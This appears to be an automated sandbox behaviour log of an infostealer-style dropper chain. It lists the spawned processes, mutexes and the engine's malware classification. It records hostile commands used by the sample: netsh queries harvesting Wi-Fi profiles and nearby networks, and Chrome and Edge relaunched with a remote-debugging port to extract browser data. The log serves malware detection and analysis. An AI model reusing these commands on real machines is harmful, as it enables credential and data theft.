Source: 7.2.Final.exe.354d1e8.0.raw.unpack, crH.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.Final.exe.354d1e8.0.raw.unpack, crH.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.Final.exe.3515570.1.raw.unpack, crH.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.Final.exe.3515570.1.raw.unpack, crH.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@106/229@81/27
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 19_2_6BF27030
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F29C62 AdjustTokenPrivileges, 8_2_00007FF848F29C62
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F2ED85 AdjustTokenPrivileges, 8_2_00007FF848F2ED85
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Final[1].exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5628:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\build.exe Mutant created: \Sessions\1\BaseNamedObjects\560ppofpuc
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5308:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: f99547c8e6.exe, f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: build.exe, 00000008.00000002.2778489586.000001BE800A5000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000008.00000002.2778489586.000001BE80126000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.2959798234.000000001D518000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3074623842.000000001D50C000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2865424324.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2888640164.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866319764.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3088300467.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122071487.0000000005D92000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3116512156.0000000005D9F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: f99547c8e6.exe, 00000013.00000002.3236510590.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3230137861.000000001D650000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: file.exe ReversingLabs: Detection: 57%
Source: file.exe Virustotal: Detection: 50%
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f99547c8e6.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe "C:\Users\user\AppData\Local\Temp\1001312001\Final.exe"
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe "C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe "C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe"
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2168,i,1535003092577882357,8446396594474497789,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5216 --field-trial-handle=2168,i,1535003092577882357,8446396594474497789,262144 /prefetch:8
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe "C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe"
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2044,i,15987039494888869251,14526765284992853388,262144 /prefetch:3
Source: unknown Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:3
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe "C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6904 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7060 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process created: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe "C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe "C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe"
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process created: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe "C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7572 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe "C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe "C:\Users\user\AppData\Local\Temp\1001312001\Final.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe "C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe "C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process created: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe "C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe"
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process created: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe "C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2168,i,1535003092577882357,8446396594474497789,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5216 --field-trial-handle=2168,i,1535003092577882357,8446396594474497789,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2044,i,15987039494888869251,14526765284992853388,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6904 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7060 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7572 --field-trial-handle=2076,i,7844199063727738252,14632662901163365865,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
